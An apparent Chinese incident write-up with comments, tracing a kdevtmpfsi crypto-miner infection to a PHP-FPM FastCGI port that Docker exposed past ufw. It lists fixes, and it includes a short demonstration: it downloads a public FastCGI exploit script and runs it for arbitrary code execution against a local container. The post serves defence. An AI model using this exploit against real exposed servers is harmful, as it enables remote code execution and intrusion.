感染kdevtmpfsi挖矿病毒
昨天闲着无事登陆服务器,发现一个名为 kdevtmpfsi
的进程占据了全部的CPU资源。第一眼还以为是调度类系统进程,过了一会看到还占满资源,于是猜到应该是挖矿病毒。
Google了一下,确实是挖矿病毒,被感染的不在少数。其有名为 kinsing
的守护进程,当 kdevtmpfsi
被杀掉后,会自动唤起。再细查,由于本站运行在Docker容器内,该病毒的进程也都是在容器内,宿主机内没发现被感染。
PHP的Docker容器被挖矿原因
清除病毒容易,但要搞清楚怎么被感染的,否则很容易又被黑。网上不少文章都说是由于 redis 端口暴露在外网且没有权限认证导致。本人的情况应该不是 redis 导致,原因有两点:
1. 容器内确实有redis实例,但并不对外开放端口;
2. 如果是redis实例导致的,病毒程序的运行用户应该是redis而非运行PHP-FPM的www-data。
为了证明和redis无关,重新使用了没有redis的镜像。运行一段时间后,还是被感染了,说明和redis无关。
那到底是什么原因呢?应该不是Nginx,其只提供静态请求及转发;和PHP的版本也无关,不管PHP 7还是PHP 8,运行一段时间后都会被感染;和php/fpm设置也无关,之前没有用Docker部署前,一直都很正常…
就在快要放弃的时候,忽然看到有文章提到Docker的-p
端口映射会绕过ufw直接对外开放。马上测试一下,发现果然可以从外部机器telnet
到FPM监听的9000端口。觉得天雷滚滚的同时,又感到有点欣慰:终于找到被感染的原因了!
不可暴露于外望的FastCGI协议
开始聊具体原因和复现之前,先说一下本人的防火墙设置。ufw
命令输出如下:
root@dmit:~# ufw status Status: active To Action From -- ------ ---- 80/tcp ALLOW Anywhere 443 ALLOW Anywhere xxx/tcp cc ALLOW Anywhere Anywhere ALLOW 172.17.0.0/24 80/tcp (v6) ALLOW Anywhere (v6) 443 (v6) ALLOW Anywhere (v6) xxx/tcp (v6)cc ALLOW Anywhere (v6)
可以看到,除了SSH、HTTP(s)及Docker容器,理论上屏蔽了所有外部的主动连接。
网站通过自制的FPM镜像部署,启动时将FPM监听的9000端口暴露出来:
docker run -d -p 9000:9000 xxxxx fpm
没发生这个病毒感染前,我一直以为如上配置的防火墙能够屏蔽外网对9000端口的访问,但实际上错了。Docker上述方式暴露的端口会绕过ufw接受外部连接,且不会出现在 ufw
命令输出中。要验证也很简单,直接从外网 telnet
一下,想深究的可以通过 iptables
命令看到9000端口确实接受任何外部连接。
但是PHP-FPM的FastCGI协议应该仅在内网使用,暴露在外网是致命的。多年前就有文章(Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 )分析了FastCGI的问题,根据里面的方法,能很轻松的getshell并实现RCE。这里用一个示例说明就是docker容易的9000端口是导致被挖矿病毒感染的原因。
首先创建一个开放9000端口的FPM容器:
docker run -d --rm -p 9000:9000 bitnami/php-fpm:7.4.33
下载证明FastCGI漏洞的POC脚本:
wget https://gist.githubusercontent.com/phith0n/9615e2420f31048f7e30f3937356cf75/raw/ffd7aa5b3a75ea903a0bb9cc106688da738722c5/fpm.py
运行脚本执行任意代码:
python3 fpm.py -p 9000 127.0.0.1 /opt/bitnami/php/lib/php/PEAR.php \ -c '<?php echo `ls -l`; exit; ?>'
输出如下:
X-Powered-By: PHP/7.4.33 Content-type: text/html; charset=UTF-8 total 120 drwxr-xr-x 2 root root 4096 Nov 23 20:31 Archive drwxr-xr-x 2 root root 4096 Nov 23 20:31 Console drwxr-xr-x 2 root root 4096 Nov 23 20:31 OS drwxr-xr-x 11 root root 4096 Nov 23 20:31 PEAR -rw-r--r-- 1 root root 36171 Nov 23 19:46 PEAR.php drwxr-xr-x 3 root root 4096 Nov 23 20:31 Structures -rw-r--r-- 1 root root 20694 Nov 23 19:46 System.php drwxr-xr-x 2 root root 4096 Nov 23 20:31 XML drwxr-xr-x 2 root root 4096 Nov 23 20:31 build drwxr-xr-x 3 root root 4096 Nov 23 20:31 data drwxr-xr-x 2 root root 4096 Nov 23 20:31 extensions -rw-r--r-- 1 root root 14845 Nov 23 19:46 pearcmd.php -rw-r--r-- 1 root root 1113 Nov 23 19:46 peclcmd.php drwxr-xr-x 5 root root 4096 Nov 23 20:31 test
可以看到,我们顺利地执行了任意代码!
有两个值得说明的地方:
1. 执行攻击时并不需要和FPM容器在同一台机器上,只要能访问到暴露出来的FastCGI端口即可。对于上面的例子,从外网攻击也是同样的效果;
2. 触发的文件可以是任意有效的PHP文件(登录容器后执行find / -name *.php可查看容器自带的PHP文件);甚至还可以不是PHP文件,例如将文件从 /opt/bitnami/php/lib/php/PEAR.php
换成 /opt/bitnami/php/bin/phar.phar
,代码同样被运行。
总结上面,服务器被病毒挖矿的两个根本原因是:
1. 运行Docker容器时,对外暴露了FastCGI端口;
2. Docker暴露的端口绕过了ufw的限制,导致可以从外部任意访问,进而被下载挖矿病毒。
解决办法
找到了问题原因,接下来就比较简单了。防止再次出现的方法主要有三种:
1. docker run
时仅监听本机:-p 127.0.0.1:9000:9000
;
2. 使用unix socket文件通信,不使用端口;
3. 使用docker网络而不是暴露端口。
当然可可以让Docker不自动修改iptables等手段,但是上面三种已经足够用了。本文通过socket文件的方式重新构建了镜像并运行网站,到目前为止未发现再次被感染。
总结
在网上搜“php docker kdevtmpfsi”,能找到许多被挖矿病毒感染的例子。其根本原因和redis无关,而是启动Docker容器时将FastCGI的通信端口直接暴露在了外网。PHP-FPM的FastCGI通信协议应当只在内网使用,暴露在外网将面临非常严重的安全风险,因此使用PHP-FPM的Docker镜像时要十分慎重。
参考
- 清除Linux服务器Docker中的kdevtmpfsi挖矿病毒
- Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
- Protect your Docker containers from Kinsing – Kdevtmpfsi crypto mining malware
- Problem with Malware on VPS (Docker/PHP)
- Uncomplicated Firewall (UFW) is not blocking anything when using Docker
- 记一次服务器被入侵挖矿
- 做一个永不暴露真实IP的网站
我发现了更简单彻底解决此问题的方法,就是删除病毒后,把container不需要expose的端口删掉,之前认为所有container都需要指定port参数,其实完全不需要,只有需要expose的端口才会指定port,这样不设置prot的container使用预设port互通,这样也不需要解决docker+iptables兼容性的问题,特别简单
问题解决了,只是在docker expose 9000端口时加上127.0.0.1:9000是没有效果的,外网仍然能访问,需要使用iptables把外网进来访问9000的流量直接drop调,并只允许docker网内互访,这个问题就彻底解决了,观察一天了,问题没有复发
你的问题应该是因为之前已经允许过9000端口外网访问所以绑定127.0.0.1不可以,换127.0.0.1:9001应该就可以了
嗯,有可能,不过非常感谢解释这个问题的根本原因~
通过加强iptables防护后,彻底解决了此问题,也规避了已有的风险~
我使用你说的第一种,发现不起作用,仍然有kdevtmpfsi……请问是否还有其他方法可以完全屏蔽此病毒,难道只能找到ip地址,用iptables block该地址么?
第一种方法需要在docker run的时候加上监听本地,如果还有,说明你的宿主机也被感染了
另外如果有网页防火墙,比如阿里腾讯谷歌AWS等大厂基本标配,把9000端口屏蔽就好了
但我确定感染只发生在docker,只要把wordpress的container关了,就恢复了,所以我不太理解为啥,我都已经使用iptables在docker-user chain上做了防护
我发现即使写了127.0.0.1,外面用tcp探测9000端口,仍然可以探测成功,这是什么原因?
我这里测试是无法从外网连接的,如果仍然可以连接,可能是端口被占用,或者你启动的方式不对